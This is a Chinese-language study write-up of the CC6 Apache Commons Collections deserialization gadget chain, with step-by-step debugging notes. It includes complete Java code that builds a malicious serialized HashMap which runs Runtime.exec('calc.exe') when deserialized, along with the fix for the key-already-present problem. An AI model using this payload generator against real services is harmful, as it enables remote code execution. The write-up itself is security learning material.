CC6

Java 8u71以后,这个利⽤链不能再利⽤了,主要原因是sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。

为了解决⾼版本Java的利⽤问题,就有了CC6

CC6简介

看一下p神给的简化版利用链

/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()

org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

后半部分还是LazyMap那条利用,我们之前的利用是用到AnnotationInvocationHandler的反序列化触发到invoke的get,这里因为高版本的反序列化逻辑改变了,利用不了了,所以就有了前面那一串链子来进行串联。

解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤LazyMap#get() 的地⽅。

前部分的链子分析就不细说了,感觉还是很容易理解的

新的东西就两个类,一个是TiedMapEntry(简称tme),一个是hashmap

这里tme的getvalue方法调用了get,map还是可用的,就可以让map是我们的lazymap,构造方法也是简单明了的

image-20240812102526044

再去找哪里调用了getvalue

tme自己的Hashcode方法就调用了,并且是没啥条件直接调用

image-20240812102716347

再去找哪里调用了hashcode

可以在hashmap里找到两个方法,一个是hash,一个是readobject

hash

这里让key为tme就好了

image-20240812103316311

readobject

读取键

  • K key = (K) s.readObject(); 这行代码从 ObjectInputStream 流中读取一个对象,并将其强制转换为键类型 K。在序列化时,所有的键被写入流中。在反序列化时,你需要逐个读取这些键。

读取值

  • V value = (V) s.readObject(); 这行代码读取与键对应的值。每个键都对应一个值,因此在读取每个键之后,你需要读取它的值。

插入到哈希表

  • putVal(hash(key), key, value, false, false); 使用计算得到的哈希值将键值对插入到哈希表中。hash(key) 方法计算键的哈希值,这样可以确定键值对在哈希表中的位置。

image-20240812103259508

构造方法貌似重载了很多

我们调用的构造方法应该是这个

public HashMap(Map<? extends K, ? extends V> m) {
    this.loadFactor = DEFAULT_LOAD_FACTOR;
    putMapEntries(m, false);
}

在HashMap的readObject⽅法中,调⽤到了hash(key) ,而hash⽅法中,调⽤到了key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过程,构成⼀个完整的Gadget。

先构造LazyMap,和之前CC1的一样

为了避免本地调试时触发命令执⾏,我构造LazyMap的时候先⽤了⼀个⼈畜⽆害的fakeTransformers 对象,等最后要⽣成Payload的时候,再把真正的transformers 替换进去。

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
                new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

把lazymap(这里是人畜无害的那个),作为tme的map参数传入

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接下来到我们反序列化的入口类hashmap,新建一个hashmap,传入构造的tmp作为key

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

反射修改属性,把恶意的transformers加进去,然后去生成序列化字符串

// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

但是这里却并没有弹出计算器

public class P {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
                new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        // ==================
        // 将真正的transformers数组设置进来
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
    }
}

调试

跟进去进行调试

对键(tme对象)进行反序列化,调用hash

image-20240812143440873

key为tme对象,调用tme的hashcode

image-20240812141658296

tme的hashcode调用到hash方法

this.map为构造好的lazymap对象,this.key为tmekey

image-20240812141828450

发现是这里的!map.containsKey(key)进不去

image-20240812141117470

原因是在构造序列化字符串的时候,执行完TiedMapEntry tme = new TiedMapEntry(outerMap, "tmekey");,就把tmekey给压进lazymap了

image-20240812143911398

注意看tme的构造方法执行完的变化

image-20240812144148840

我尝试加了个clear,发现不顶用

image-20240812145418241

直接看看p神怎么搞的

这个关键点就出在expMap.put(tme, “valuevalue”); 这个语句⾥⾯。HashMap的put⽅法中,也有调⽤到hash(key)

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

相当于提前执行了一次我们的链子,只不过这里我们用的是假的transform,所以没弹计算器

它执行到laymap的get的时候,Object value = this.factory.transform(key)执行完会把这个key put进lazymap

public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

所以前面我找的地方是错的?

然后我试了一下在put执行完放clear也是成功弹出计算器了

感觉是调试有点问题,奇奇怪怪的,还是P神说的比较靠谱

然后我发现了我搞错的原因(这里其实本来是想跟进去调试一下put的时候执行链子的过程),断点打在Map expMap = new HashMap();

emmm,难泵,要是总这样多少得对学java造成误判

貌似是因为反编译问题

image-20240812152507710

好吗,CC6也算是分析完了

0%